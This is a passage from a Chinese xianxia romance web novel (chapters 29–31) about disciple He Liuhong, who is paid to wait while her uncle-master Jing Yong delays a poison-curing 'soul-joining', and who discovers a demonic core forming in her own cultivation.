她瞬间蹭的站起来,飞快擦干净双手,上前一步,友好地握住美人的右手,郑重地上下摇晃好几下,满脸感动:“师叔,你是个好人!” 景雍以为她会发现他有了继续拖延神交的借口,不料却在她脸上看到了动容的神色,不禁赧然地移开视线,不敢在和她对视。 贺流虹却急了,“师叔,你看看这个赔偿具体是怎么算的呢?我觉得以我如今的实力,一天少说也能打死十只坏妖怪吧。” 第29章 第29章啊?这事应该问我吗?…… 景雍微微怔住。 这么充满铜臭味的问题,倒是把他给问住了。 持筹握算是掌门平日里需要做的,到他这里,却从没为灵石费过心。 他担心小师侄老实本分如履薄冰,不敢主动开口向他要太多。 “你……真的只想要这些吗?” 贺流虹有点意外。她都做好讨价还价的准备了,想着一天十只太多的话,八只也行啊,反正比她在这里敲石头赚得多。 怎么还有人反向砍价啊? 她不太确定地问道:“那、那你觉得多少才合适呢?” 景雍在芥子袋里翻找一遍,结果竟没有翻到一块灵石,有点尴尬。 贺流虹笑眯眯望着他,已经做好了伸手去接的准备。 她想提醒他,没有灵石也没关系,这般沾满铜臭味的俗物,确实不适合被不染凡尘的修真界第一美人随身携带,容易污了美人的出尘气质。 用别的东西来抵也是一样的。 比如腰间挂着的一串串玉佩,束腰的玉带钩,手上的扳指,再不济,随便在腰带和香囊上抠下几块宝石,她都是不嫌弃的。 这些东西拿出去转卖,说是琼华真人用过的,价钱翻个几倍也不成问题的。 景雍低头,看了看自己这一身,犹豫片刻,抬手摸向领口,从层层叠叠的衣服下面摸出一块玉吊坠。 他将吊坠从脖子上取下来,温声询问:“这是我被带回天玄宗时,师父送的,不知道能不能代替灵石,当做对你的补偿?” 贺流虹伸手接过来仔细打量,吊坠中央是一只被镂空雕刻的凤鸟,由于一直贴身佩戴,上面仍然留有美人心口的余温。 刚一接触到掌心,就赶到通体舒畅,有润养经脉辅助修炼的奇效。 显而易见,这不是一只普通的装饰品,还是一件上等灵宝。 再加上沾着第一美人的气息,如果拿到黑市上去拍卖,说不定能拍出天价。 贺流虹拿着这只玉吊坠,不仅全身经脉被润养得畅通舒适,心情也被抚慰得极为愉悦。 她高高兴兴地收下这份赔偿,当着原主人的面,毫不客气挂在自己的脖子上,道:“师叔放心,弟子一定不辜负你的这份厚待。” 景雍盯着如今转移到她脖子上的东西,心中莫名感到尤为满足。 他趁势又说道:“接下来,你只管安心待在神月峰,至于你因我而被耽搁的要事,我会禀明掌门师兄,继续按照天数换算成灵石补偿给你。” 贺流虹睁圆了眼睛,本来以为这块天价玉坠已经买断了她的工期,没想到这只是一个开始。 她又一次用力握住了对方的手,差点喜极而泣:“师叔,你真的是个大好人!” 景雍试着想要抽回手,她握得太紧了。 离开了床榻,她罕见地表露出对他的亲近,掌心源源不断向他传递着热量,像是要灼烧起来一般。 贺流虹感受到他的挣扎,轻轻拍了拍他的手背,手上的皮肤触感温润光滑,和身体的摸起来一样手感绝佳。 景雍收不回手,只能顺从地任由她握着,抬眼便瞧见她脸上似乎很是愉悦的笑意,心中感觉轻松了许多。 只要她不觉得留在神月峰是难以容忍的事情,他也就能多一丝愧疚,更加安心地“休养”。 他仍然有些心虚,向对方确认道:“所以……你会好好等下去的吗?” 贺流虹沉浸在“师叔是个大好人”的喜悦中,有点没反应过来:“等?等什么?” 景雍吞吞吐吐地说道:“等、等我‘休养’结束,等我做好了准备,然后我们再来说神交的事。” 贺流虹恍然大悟,原来师叔被她催烦了,这么大方就是为了用钱把她打发掉,花钱让她闭嘴。 望着美人苍白的脸色,她很认真地保证道:“小师叔,你尽管放心,我绝对不会再催促你,从明天开始,你只管安心休养,养好身子,不必着急,我能等的。” 说完,终于是才想起来似的,放开了对方。 景雍余光瞥见手背上留着她捏出来的指印,恍惚间有种被轻薄了的感觉。 可是她神情严肃,绝不像是对他生出亵玩之意。 他已经得到了对方的保证,于是心慌意乱地留下一句告辞的话语,红着脸急匆匆走了。 贺流虹站在原地,拿着脖子上挂着的巨额资产,又反复观赏了好一会儿,琢磨着是一等到离开天玄宗就拿去拍卖了,还是先自己用上一段时间,享受一下修炼如有神助的顺畅滋味。 灵石匮乏的问题缓解很多,起码她现在可以放开了服用辟谷丹,甚至还能奢侈一把,多买上几颗破境丹备用。 她掰着手指头算账,多待一天就能多领一千灵石,破境丹打听到的价格是一颗三千灵石,也就是说每多在神月峰待三天,就能多买到一颗破境丹。 从筑基二层到金丹,还需要成功突破八次,这个阶段她大概不能像之前的突破那么顺风顺水了,层级越往上,突破的成功率越低。 按照平均百分之五十的成功率,她最好准备上十六颗破境丹,帮助自己顺利修成金丹。 有了金丹,出门遇到有点实力的妖魔鬼怪邪修恶人,她就至少有了些底气,不必像从前一样弃掉快到手的好东西拔腿就逃。 贺流虹畅想了一下未来,很快又坐原位,继续敲起了石头。 没办法,未来还太遥远,眼下的现实就是,她除了敲一敲石头赚点白菜钱,仍然没有别的事情可以忙活。 不过她现在镇定很多。 小师叔,他是好人啊! 她误会这位美丽的小师叔了,错信了宁逢那帮狗头军师的话,以为美人对她怀有偏见,故意拖延着不满足她神交的心愿。 其实美人是真的身体虚弱,暂时无法承受与她神交 啊! 虽然解开了误会,但是贺流虹接下来依旧每天过来这边报到,尽到一个临时饲养员的责任。 每天遛完了鸟,她就在湖边修炼半天,然后做些杂七杂八的事情打发时间。 那些灵矿石和灵植之类的都逐渐被处理完了,闲来无事,她就在湖边钓鱼。 一湖的灵泉水,愣是钓不出一条鱼。 气得她把金月扔下去洗了个澡。 转念想想,这一湖灵泉水,四舍五入就等于是修真界第一美人和他的神鸟的泡澡水,不知道能不能和脖子上的吊坠一样拿去黑市拍卖,相信会有一些变态愿意花这个冤枉钱。 她默默坐在湖边纠结很久,犹豫要不要满足那些潜在的变态。 她这么正直,这么单纯,真的要赚这份脏钱吗? 平时热热闹闹的湖边,此刻一片寂静。 景雍再次压制情毒失败,觉察到湖边异常,再次分出一缕神识瞧瞧靠近,观察到少女惆怅的背影。 他想,她其实还是渴望尽快离开这座囚笼的。 灵石不过是她的借口而已,年少贪玩,最是向往自由,岂会因几块铜臭俗物心甘情愿放弃外面一望无垠的广阔天地。 可是,他也有他不愿丢弃的尊严。 情毒的发作使他沦为淫.欲的奴隶,深受欲望操控,他不想再一次次在她面前露出那副堕落神态,不知羞耻地缠着她不放,即便反复遭受肆意亵玩也还不知满足。 他默默对这个无辜受困的小师侄说了声抱歉,发誓会因自己的任性做出更多的补偿。 贺流虹第二天来找他,言辞闪烁,说要再离开神月峰一趟。 他听完她小心翼翼提的要求,如蒙大赦一般,立即点头同意了。 这次仍然是金月带着她出去的。 贺流虹凝神留意,还是不知道小红鸟是从什么地方离开的洞府,所以下次还是没办法一个人偷溜出来。 她反复警告金月不要像上次一样释放天性到处发癫,金月听进去了一半,没有到处发癫,只癫到半路,就被一只毛色艳丽的灵鸟勾着跑远。 贺流虹被丢在地面,庆幸这回不需要陪着傻鸟一起丢人。 她看了看自己所在的位置,离炼器堂不远,于是转身先朝着炼器堂去了。 赵炎炎见到她有些惊讶,问她:“怎么这么快又出来了。你已经搞定小师叔了吗?” 贺流虹讪讪地摇头,“我被小师叔用钱俘虏了,现在的我已经不是从前的我了,神月峰挺好的,再待一阵子问题也不大。” 赵炎炎将炼制好的剑拿出来,让她验收, 贺流虹喜爱不已地摸着这把完全按照自己心意炼制的新武器,赞美对方的技艺,“大师,你必是未来的一代炼器大师。” 赵炎炎挑眉问道:“你不打算离开神月峰,那我呕心沥血日以继夜替你炼制的这把剑,是暂时派不上用场了?” 贺流虹摇了摇头,“此言差矣,我只是暂时不打算离开,又不是一直不离开。” 赵炎炎道:“也是,你如果想一直待在那儿,该着急的就是掌门他们了。小师叔的迷情散一日不解,天玄宗上空的阴霾一日不散。” 她说到这儿就不赞同地摇起头来:“咱们这琼华真人也是,明知道是躲不掉的事,非要这么为难你一下,有什么意思,和你神交,难不成还委屈他了?” 贺流虹也不好意思告诉她,自己上回跟她说了错误信息,小师叔是真的身体抱恙。 今天离开洞府之前,小师叔的脸色看上去更憔悴了。 不过赵师姐帮亲不帮理,贺流虹还是很感动的,于是她又多买了师姐几件法器,一顿花钱如流水。 被赵炎炎喜笑颜开送出炼器堂后,她就立刻奔赴下一站,金玉满堂,把这些天在洞府处理过的灵宝都转手卖了。 天玄宗内部也会回收这些东西,并且比外面的价格稍高一些,算是对自家弟子的一点小福利。 贺流虹拿着到手的灵石,有了对比,越发觉得这千八百的有点不够看。 攒了两年多的家当,比不上神月峰一天领的“误工费”。 眼看着天色不早,她又直奔外门。 上次被人撬门进屋之后,她就始终惦记着这个事。 要是真的丢了东西,她反倒不会觉得这么不对劲。 负责管理外门弟子日常事务的一位长老答应她会调查,她想知道调查的结果出来没有。 那位外门长老知道她和神月峰的关系,也得到过掌门指示,千万不能将她惹恼,所以倒也不是在对她开空头支票,而是认真查过了。 结果是没有查出任何嫌疑人。 长老深深感觉到自己的无能,唯恐她生出不满,回神月峰后发泄在琼华真人身上。 贺流虹摆了摆手,“算了,既然没丢东西,就当没发生过吧,麻烦长老了。” 对方送瘟神一样起身将她送走。 她顺便回去看了一眼对门的宋清宁,对方养好了伤正要出门,迅速往她手上塞了一把灵石,留下一句“上次的药钱”,匆匆忙忙地跑了。 贺流虹在外门大摇大摆地转了一圈,见人就上去聊几句,大家都对这个失踪半年回来之后性情大变的师妹感到诧异。 贺流虹转了一圈,没发现谁态度不对,好像都不是撬她屋门的人。 她差点都要怀疑这事是掌门派人干的。 但是掌门调查她底细用不着这么麻烦,也不会这么拙劣。 她正想着掌门,掌门就派人来喊她了。 那人是掌门的亲传大弟子,搞不好就是天玄宗下一任掌门,亲自跑到外门来找一个名不见经传的小师妹。 不止是围观群众,就连亲传大弟子本人也很摸不着头脑,师父是不是最近把脑子忙坏了。 贺流虹跟着她往掌门清修的地方去,也不确定她知不知道神月峰的真相,一路上没怎么说话。 好在这位大师姐也不是个爱说话的,把她领到了地方,就火速消失没影了。 她望着又一个造价不菲的偌大洞府,茫然四顾。 掌门在哪儿呢。 怎么领路也只领到一半呢。 贺流虹东逛西逛,掌门出门驾白鹤,回了家也是一室幽兰,清幽静谧。 重重叠叠从头顶悬挂下来的白色纱帘微微飘荡,影影绰绰,如果关了灯,肯定怪阴森吓人的。 她拂开一层又一层的帘幔,心里有点发毛,步伐迈得越发急促。 当她再次掀开挡路的纱帘,看清眼前景象的时候,已经来不及了。 掌门景离正背对着她,给身上的伤口换药。 那些伤口十分狰狞,从肩膀一直延伸到腰间。 听到脚步声的景离回过头,有些慌张地将衣服捡起来披在身上,挡住了身上异常的伤势,也挡住了美好的肉.体。 他顶着一张失去血色的脸,语气不太友好地问:“你怎么在这里,不是让你在外面等?” 贺流虹心想,没想到掌门脱光了也挺白呢,那里还是粉红色的呢。 她茫然地说道:“原来是要让我在外面等吗,大师姐她丢下我就走,我还以为是让我自己找。” 景离恨恨骂道:“这个混账,没一天靠谱的时候。” 只是因为失血过多,中气不足,越骂声音越弱,最后竟是体力不支地踉跄了几下。 贺流虹知道他不是在骂她,放心多了,犹犹豫豫地走上前去搀扶。 景离伤势严重,连她靠近都不知道,就被她一把抓住肩膀。 她瘦削高挑身如修竹,手上的力气却格外大。 他怀疑自己的骨头要被捏碎,本就是受伤至深,冷不防又遭到这般粗暴对待,只能紧咬牙关,半垂眼眸藏住脆弱,动了动胳膊想要将她推开。 贺流虹一脸关切,似乎完全没有察觉到对方的抗拒,尽心尽力搀扶着他往椅子上去,嘴里还说道:“掌门小心,别乱动,万一碰到伤口,又要流血了。” 拉拉扯扯的过程中,那匆忙披上身的衣服又散落下来。 贺流虹:哇,好粉。 然后终于松了手。 景离脱力地跌倒在宽大的座椅上,胸前伤口又裂开,倒吸一口凉气,脸色更为苍白。 贺流虹诚惶诚恐地将衣服捡起来,重新披到他身上,无 奈感慨道:“都说了不能乱动。” 景离顾不上正在流血的伤口,将衣服匆匆穿好,调整了一下混乱而虚弱的呼吸,转过身倒了半杯灵茶饮下,勉强让自己恢复了平日的掌门气度。 他扫一眼面前垂手静立的外门小弟子,说起正事:“这些时日我被其他事务耽搁,管不了神月峰。找你过来是想问你,琼华为何迟迟不肯与你继续神交?” 贺流虹抬手指了指自己,“啊?这事应该问我吗?” 琼华不肯神交,那应该去问琼华啊,她怎么知道琼华是怎么想的。 第30章 第30章我还能修! 景离的伤口隐隐作痛,无力地倚在座椅当中,忧愁地揉了揉眉心,“我也是刚刚才知道,他不仅拒绝和你神交,还不肯与太上长老说清缘由。” 管理一个像天玄宗这样的大门派一点也不容易,每天操心入不敷出、修炼资源不够分,招收来的弟子不够有天分,传承逐渐断绝,这也就罢了。 即便侥幸得到像琼华真人这样的天道宠儿,也还是要面临大大小小的意外。 他一直觉得,解开迷情散最大的阻碍,是这个灵力低微的外门弟子。 然而事实证明,一再出问题的人是他的师弟。 他无奈地看向她:“你现在是与他最亲近的人,应当能够知道些什么,说说看,他到底为什么不愿意配合。” 贺流虹从他眼中隐约看出一丝不满。 只不过是把神交的时间拖延了几天,又不是真的不干了,这群太上长老至于搞得这么紧张兮兮嘛。 她只好善心大发地帮着美人小师叔解释道:“掌门,你和太上长老们是不是误会了小师叔,小师叔他不是拒绝和我神交,他是还需要休养,否则神魂难以承受如此频繁的消耗。” 景离看傻子一样看着她,“你还是年纪太轻,被他三言两语糊弄了去。” 贺流虹微微蹙眉,瞪圆了那双本来就又黑又大的眼睛,看着更好骗了,掷地有声地说道:“怎么会呢,不可能的,小师叔他是修真界第一人,受万人敬仰,不会骗人的。” 景离轻笑了一声。 骗没骗人,太上长老们岂会看不出来。 也只有这个天真单纯眼界尚浅的小弟子才会对自己的师叔盲听盲信。 贺流虹瞟一眼他的反应,感觉自己演过头了,让人当成被骗得团团转的傻子。 她又替小师叔多说了两句,实事求是道:“我可以作证,师叔近来脸色确实越发苍白,他看起来是真的还需要继续休养。” 景离简直不忍心再看着她遭受蒙骗,善心大发点拨了她一句:“有没有可能,你师叔之所以脸色苍白,正是因为迟迟拖延不肯解毒。迷情散使人经脉受阻,时间越久,需要维持境界不跌落就越费力。” 贺流虹面露诧异。 这不太可能吧? 小师叔还真就纯粹不想跟她神交? 宁愿白着一张脸自己硬抗,也不想跟她神交? 跟她神交,难道不快乐吗? 她不信。 明明前两次直到天快亮都还在哭哭唧唧地抱着她不放,明明看起来喜欢得不行,都爽到失神了。 贺流虹觉得即便自己曾经不小心把他得罪了,经过那么美妙销魂的两晚,怎么也该消气了。 她再一次后悔当时没带留影石记录证据。 景离瞥了她一眼,知道她是仍然不愿相信。 让她相信琼华藏有私心,确实不容易。 就连他这个自小看着师弟长大的师兄,这一次也有些匪夷所思。 被天玄宗上下给予厚望的师弟,从来都是最让他和长老们省心的,心性纯净,专注修炼,从不曾忤逆过师门。 这次却突然不愿吐露心事,有了自己不愿明说的秘密。 看似是小问题,却是一个令长老们感觉到危机的不妙信号。 这个天道宠儿,受天玄宗全力供养,所以只能是天玄宗的天道宠儿。 坐镇天玄宗数千年的几位太上长老,不会想要看到他生出私心,脱离师门掌控。 景离叹道:“罢了,这件事我会去解决,你不必费心。” 贺流虹心想这当然好,这件事本来就不该由她费心。 她瞟了一眼掌门的衣服,前襟有越来越多的血迹洇出来,不知衣服下面那皮开肉绽的伤口有多触目惊心。 连化神期的掌门都得受这么重的伤,修真界果然危险重重。 她还是快点修成金丹然后跑路吧。 景离双手微颤,倒出几颗丹药飞快吞下,将血止住。 一抬头,看到她很认真地担心着什么,心头不禁泛起一丝柔情,道:“其实我挺喜欢你的。” 贺流虹正在认真筹谋跑路计划,听到这没头没尾的一声感慨,愣道:“啊?” 为什么啊。可是她不怎么喜欢一个一千多岁的老古董啊。 就算脱给她看了,也不代表她就会喜欢的。毕竟她现在的眼光被修真界第一美人拔高了不少。 景离使用了清洁术将身上血腥气清除,只是脸色依旧惨白,声音低若:“因为你和我一样,对天玄宗一片赤诚之心,心系宗门未来。” 贺流虹又愣了一下:“啊?”你到底要不要听听自己在说什么啊? “我能看出来,你是个好孩子,从不求什么,一心为师门着想,想替师门度过难关。” 说到这里,景离的脸上流露出一丝苦涩,配合那苍白的脸色,有种凄风苦雨的疲惫心酸,“要是天玄宗人人如你这般,该有多好。可惜……” 涉及到门中的勾心斗角,他为了保存颜面,没有继续往下说。 贺流虹没想到自己给掌门制造了这么深刻的大公无私形象,有点后悔,难怪掌门和师叔都不知道主动给她误工费。 她本来还想委婉地提醒一下,现在要是主动提,是不是又要觉得她贪得无厌了。 幸好已经有小师叔答应赔偿的每天一千灵石。 她大义凛然地开口:“掌门,不论宗门里有多少惹你心烦的人,弟子都是永远跟你站在一边的。一切为了天玄宗!” 景离本就处于虚弱时期,听到这情真意切的话语,眼圈微微发红,“等神月峰的事情了解,你就不必再留在外门,各大主峰只要有空缺弟子名额的,你可以任选一处,拜入峰主门下,成为亲传,修炼时也能有人从旁指点。” 亲传弟子的修炼能不能得到有效指点,这要看运气,不是每个大修都愿意好好教徒弟的,也不是愿意教就能成为名师的。 但是亲传弟子的月俸可跑不了,并且还不少。 光凭这一点,亲传弟子的身份就充满吸引力,外门弟子用劳动力换取包吃包住的福利,除此之外是领不到工资的。 贺流虹虽然准备跑路,但到手的灵石总不能不要。 她郑重地拱了拱手,道:“多谢掌门提拔。” 景离与她一番交流,越发觉得她是值得信任之人,不自觉更加看重。 “让你成为亲传弟子也并非我徇私,你如今的能力再留在外门,本来就是一种浪费。天玄宗正逢多事之秋啊。” 贺流虹感觉到对方蓬勃的倾诉欲,趁机问道:“掌门消失这段时间,难道是有比小师叔更重要的事需要处理?” 景离思忖片刻,觉得有些事也不是完全不能说,反正外面也早已起了传言。 “你知道天玄宗为何如此急于让琼华渡劫飞升吗?” 他哀叹一声,“天玄宗的灵脉出了点问题,灵气越来越稀薄,最多千年,要是还没有飞升之人反哺,灵脉必将断绝,数万年传承基业毁于一旦。” 贺流虹指了指他的伤,“你的伤……” “我的伤……是为了尝试修复灵脉,遭遇了一些意外。” 景离言辞含糊,显然略过了重要的信息。 贺流虹很克制地没有继续追问,当即再次表明“忠心”,道:“为了天玄宗的数万年基业,弟子会尽心尽力帮助小师叔解开迷情散,度过此次危机。” 景离沉声说道:“不仅要‘尽心尽力’,还要‘尽快’,留给我们的时间不多了。” 贺流虹下意识想反问一句: 千年还嫌短? 不愧是活了一千多岁的老人家,保养得再嫩再粉,味道也和师弟不一样了。 她体贴地安慰对方:“掌门你就放心吧,我的实力你也见识过,一夜七次不成问题,只要小师叔愿意,十次也绰绰有余,耽误不了多长时间的。” 景离点了下头。 如果是之前,他会告诫这个年少不知分寸的小弟子,多为你师叔着想一下,别把他弄坏了。 但是灵脉断绝的威胁越来越无法忽视,他必须放下对师弟的心软,付出一切代价,帮助师弟尽快飞升。 放眼整个天玄宗,找不到除师弟以外的第二个希望。 几位太上长老当中,寿元所剩最多的,也只有几十年,早已飞升无望。 一旦连几位大乘期太上长老也陨落,天玄宗在修真界的地位就真的岌岌可危了。 掌门心中有了计较,本想立即去往神月峰找师弟聊聊,但伤势使他难以行动,只能暂且让贺流虹独自离开。 贺流虹出来后又迷茫地绕了一大圈,才找到洞府出口,试了一下,竟是不受阻碍地顺利走了出去。 金月在外面的树上吃果子,看到她出来,熟练地将她扔上后背,驮着她飞向神月峰。 贺流虹拍拍它的脑袋,让它飞快点。 刚才在掌门的洞府待了一会儿,里面的灵气同样十分充盈,源源不断涌向丹府,她又有了一种快要突破的感觉。 金月精神状态稳定的时候,是一个优秀的飞行员,平稳又迅速地带着她飞回神月峰。 因为在掌门那里耽搁了一会儿,贺流虹今天回来有些晚,洞府里天色昏昏沉沉,既像是要入夜又像是要有暴风雨。 她顾不上先去和小师叔报到,就忙不迭地往自己的住处走,急需闭关迎接筑基三层的到来。 没想到刚回到住处,还没进院子,就看到小师叔等在那里。 景雍还是和上次过来时一样,站在一树绚烂繁花下,低垂着眼睫,安静沉默,细看之下,冷淡中又带着几分温柔。 贺流虹憋不住了,但又不能装瞎,一路小跑过去,气喘吁吁地问:“小师叔,你找我啊?” 景雍对上她异常明亮的眼睛,被感染了一般,心情也鲜亮很多,问:“怎么这么久才回来?” 问这句话时,他就感应到对方身上熟悉的气息,是掌门师兄洞府内的,并且还沾染着掌门师兄卧房内常用的熏香。 她和师兄接触过,并且还离得很近,否则身上的气息不会这么浓。 贺流虹道:“我有点琐碎的小事情要处理,一不留神就过去很长时间。” 她没有说出全部,景雍不甘地望着她:“你去找过掌门?” 贺流虹的脸上罕见地出现躲躲闪闪的神情,眼神游移了一下,像是刚想起来一样,点了下头。 “昂,对,是有这么回事。” 景雍失魂落魄地垂手站在原地,身体被风吹得有些瑟缩。 贺流虹以为他会好奇掌门对她说了什么,纠结了一下要不要告诉他实情,比如你信赖尊敬的掌门师兄对你藏有私心忤逆师门的行为感到不满。 这话由她说出来,在琼华真人听来,一定特别像是在故意挑拨离间。 总之说了不如不说。万一对方一个不高兴,把她的一千灵石给扣押了怎么办。 景雍没有追问。 贺流虹松了一口气。 她笑道:“那要是没别的事,我就……” 景雍没忘记自己等在这里的目的,赶忙说道:“我还有事。” 只是,他还是难过,不理解她为什么要对他隐瞒。 难道她和掌门师兄做了什么不能让他知晓的事,说了什么不能让他听的话? 掌门师兄如兄如父,从来不曾有过隔阂,又有什么是必须瞒着他的? 想到这儿,他心虚了起来。 因为他如今也有了绝不能让掌门师兄知道的秘密。 这个秘密只要一浮现在脑海中,就让他窘迫羞耻到全身发烫。 师兄……师兄难道也和他一样吗? 师兄和眼前这个女修待在卧房时,也会经历和他一样的…… 他猛地一颤,止住这些越发荒唐的想法,惊惶不安地低下头。 贺流虹的丹府快被积攒其中的灵气撑爆炸了,连忙上前一步歪着脑袋凑到他眼前,不解地端详他的脸:“到底怎么了呀小师叔?” 景雍想起来自己前不久才在心中默默许下的誓言,要为自己的任性向这个无辜受困失去自由的小弟子做出充分补偿。 即便她对他说了谎,但誓言就是誓言。 他手忙脚乱将一串风铃递给她,道:“修炼时将此物悬挂一旁,能助你稳定心神,降低突破境界时走火入魔的风险。” 贺流虹端详着他越来越苍白的脸色,想到掌门的问话,有些担心地问:“小师叔,你是不是还要休养很久很久?” 景雍这些天尝试自行压制情毒,依然没有任何成果,反倒将自己弄得憔悴不堪,被她问起,又不敢明说自己的窘迫。 他只好反问道:“你今日在外流连很久,是不是困在神月峰让你无聊烦闷了?你已经等我等得着急了吗?” 贺流虹心想,她暂时倒是不急,但是有人非常急。 她摇了摇头,道:“没有,我不急。” 景雍看见她闪躲的眼神,知道她有事隐瞒。 也许她去找掌门就是因为等急了。 她不好对他直言,但可以求助掌门。 尽管她答应过他,会耐心等待他准备好,但追寻自由是人之常情。 他想维持自己身为师叔的颜面和矜持,不想被情毒控制。 对方又何尝不想早日奔赴外面的广阔天地。 带着这样的疑虑,他没再继续说什么,神色复杂地走了。 贺流虹手里的铃铛在风中发出清脆动听的声响。 虽然被美人这副举动弄得摸不着头脑,但是好在也不是第一次摸不着头脑,她拿着风铃风一般地冲进房间,按照师叔给的使用说明,将风铃挂在旁边,开始尝试突破筑基三层。 不知道是因为风铃和吊坠两件灵宝的加持,还是她运气好,筑基三层又是一次就突破成功。 望着四面八方朝她涌过来的灵气,她连忙又将意识沉入丹田,再次检查了一遍丹田内的情形。 她心心念念的金丹依然没有瞧见任何雏形。 可是书上说筑基二层到三层一般都能凝成一个朦朦胧胧的金丹雏形,像一团没有凝实的浓雾,直到最后经过大量凝聚灵气形成一颗金光闪闪的、蕴藏着巨大灵力的内丹。 贺流虹的丹府内却始终只有一片让人眼花缭乱的灵气,错乱繁复地纠缠在一起。 如果书上说的没错,那她的修炼一定大有问题。 她的意识又在其中穿梭了一圈,希望找到能够证明自己一切正常的证据,却差点被这凌乱的气息绕晕。 “醒醒小贺,快醒醒。” “怎么回事,都说了别让她修炼太猛,这下好了,晕了吧。” “我救不了,找师父来救人吧。” “不会没救了吧,天玄宗不会让咱们陪葬吧。” 贺流虹拼命睁开眼睛,抓住最近一人的手:“不……我还有救,我还能修,我还能修!” 30-40 第31章 第31章大事不妙 几个医修见到她醒了,停下去找谷主救命的脚步,猛拍心口,“吓死了吓死了,有救就好。” 宁逢把她紧攥自己手腕的五指掰开,抽出手去拿了一面镜子,贴心地把镜子举到她面前:“喏,瞧瞧,你还能修吗?” 贺流虹差点被镜子里的场景吓晕,这个被糊了一脸血的人是谁啊。 她不好意思地干笑了 几声,“一不小心太入迷了,不好意思,把你们吓到了吧。” 宁逢身后的一个医修说道:“可不是,你等着,我还是去请师父来帮你看看。” 贺流虹想到自身的异常,连忙拉住对方的衣角,“不用了吧,就是一点小意外,我都醒了,不麻烦谷主了。” 宁逢皱着眉头仔细探查她经脉,一脸纳闷的神情:“你这不是好得很嘛,怎么说晕就晕了。” 贺流虹悄悄观察了一下自身,晕倒过去之前的凌乱气息都消失不见了,整个人正常得不能再正常。 她对那个准备去请谷主的医修说道:“你看,我就说我已经没事了。” 医修们看她确实不像有事,惊叹了一下她顽强的生命力。 所有人都离开之后,贺流虹没有出门,而是待在屋子里连夜翻看小师叔给她的书。 那些都是她亲手抄写过的,对于大致内容都心里有数,翻开之后,一字一字细读下来,还是没有找到任何可以为她解惑的句子。 她的修炼方式没有出错,一直脚踏实地,没有心存妄念走歪路子,可是怎么就不对劲呢。 她的金丹到底还有没有希望修成啊! 经过这个意外,贺流虹也不敢再继续轻易尝试,以为仗着小师叔给的灵宝护持,就能为所欲为。下次要是又晕了,血尽人亡了怎么办。 其实这么快就到筑基三层,已经远超她预期,做人还是不能太急于求成。 与其自己没日没夜修炼,不如去找小师叔神交。 第二天她刚准备接着去哄人,掌门就传来口谕,让她去老地方,准备帮她的小师叔解毒。 入夜之后天地灵气最为温和,不仅适合做点不可言说之时,也比白天更适合神交,神魂能够在交缠之时顺便受到天地灵气的滋养,降低损伤的风险。 贺流虹只觉得夜凉如水,站在法阵外面,打了个喷嚏。 说不好为什么,从接收到掌门口谕那刻开始,她的眼皮就一直在乱跳,总有种心烦意乱的感觉。 修真界没有这种迷信,宁逢说她只是修炼太多睡觉太少导致的身体疲劳。 她觉得有道理,转瞬间丹田又隐隐作痛,顿时脸都绿了 宁逢看她脸色有异,问她又怎么了。 她不敢说话。 五年前受的伤早就被谷主治好了,不应该再发作。 她在心里安慰自己,这次的感觉和之前都不一样,这次的疼痛感一点也不强烈,是一种温吞悠长的钝痛。所以可能是其他原因造成了。 掌门朝她走过来,催促了一声:“快进去吧,愣在这里做什么,你师叔在等你。” 他的气色仍然苍白,伤还没好,就迫不及待跑来神月峰处理停滞已久的“工作进度”。 贺流虹心不在焉地越过他往里走,在法阵的入口又略停了停,绷紧了身体大步跨过去。 刚一进去,她就和坐在卧榻上的美人四目相对。 景雍的眼神很复杂,隐隐带着不悦。 但是贺流虹同样有自己的烦心事,并没有敏锐得察觉到这一点,只扫了他一眼,就匆匆开口:“师叔,我们开始吧。” 她直觉在这里多待一秒,就多一份难测的威胁,打了个招呼,就抓过美人的肩膀,开始了今夜的“工作”。 今晚的贺流虹格外急躁粗鲁,神魂进入对方识海之后,比第一次还要横冲直撞。 在这般对待之下,景雍只强行忍耐过两次,就控制不住地溢出轻吟,平日里清冷的嗓音充满着旖旎的味道。 贺流虹有之前的经验,一看他又露出这般情动目光,不等他纠缠,便驾轻就熟地主动将他按倒在榻上。 又是两次之后,她算算时间,距离天亮还有段时间,于是又来一次。 神交很顺利,当她像前两次一样,顺带帮忙给美人解情毒时,美人绵软无力的身体不知那里来的一股力气,猛地将她推开了。 贺流虹坐在榻边,有些错愕,也有些不解。 那一下拒绝的动作将景雍所有力气耗光,他无力地趴伏在枕头上。 那只枕头还是贺流虹之前带来的那只,草绿色的,衬得美人全身肌肤莹白如玉,漂亮得晃眼。 贺流虹有些傻眼地看着他,着实是被他这一下给推懵了,半天不知道该干什么。 景雍的衣服被她扔得很远,全部的隐秘都暴露在她目光下,泪水沿着眼尾滑落,有气无力地问她:“一定要我变得这样不堪吗?你现在满意了吗?” 那眼泪也不知是被气出来的,还是因为伤心。 总之都不是什么好兆头。 贺流虹不由分说迅速找到他的衣服,帮他穿上。 手指无意间触碰到他的身体,他再次将她推开,背过身去,恨恨地说道:“不必事后假意温柔。” 贺流虹感觉自己丹田的伤势更疼了,表情微微扭曲,茫然不解地问:“这又是怎么了?” 爽完就翻脸了吗这是? 景雍回过头,脸上还残留着情动后的红晕,语气却是冷硬的,“我知道,你不愿困在神月峰,对我有所不满。你能想到去找掌门,让掌门出面逼迫我,你很聪明也很大胆。” 说到这里他的眼睛又逐渐湿润,说不出怨愤,紧盯着她咄咄逼问道:“可是我的想法我的意愿就那么无关紧要吗?” 他的指尖深深陷入掌心,身体剧烈地颤抖起来,断断续续地开口:“在你眼里,我就是……就是一个……可以拿来肆意取乐的玩物?” 贺流虹瞳孔微微放大。 她被美人不断抱怨的时候,又感应到了那缕诡异的妖气。 而妖气的来源……是她的丹田。 丹田一片凌乱的气息当中,一颗已经被凝实的、深绿色的、疑似金丹的珠子若隐若现。 但这很显然不是仙门的修士该有的金丹。 她的意识刚一靠近这颗珠子,妖息猛然放大数倍,几乎将她的意识全部冲散,取而代之。 她脸色煞白一片,大气也不敢出,无措地看向正在怒视自己的小师叔,又不安地将视线游移开,极为小心翼翼。 这副反应落在景雍眼中,显而易见,是被吓坏了。 他拧紧了眉头,下意识收敛住自己的怒火,将满肚子的愤恨委屈压下。 这件事最不该责怪的就是眼前的少女,一个人微言轻的小弟子能有什么决定权。 是他无法压制自己的情毒,为了自己的颜面,日复一日耽搁着她奔赴自由。 是掌门师兄和长老过分急切地想让他渡劫飞升。 贺流虹见他又是皱眉又是眼神晦暗,并且还忽然不说话了,心中警铃大作。 这么浓烈的妖气,就藏在她身上。 不管是眼前的师叔,还是镇守在外面的四个长老,想必都有所察觉了吧。 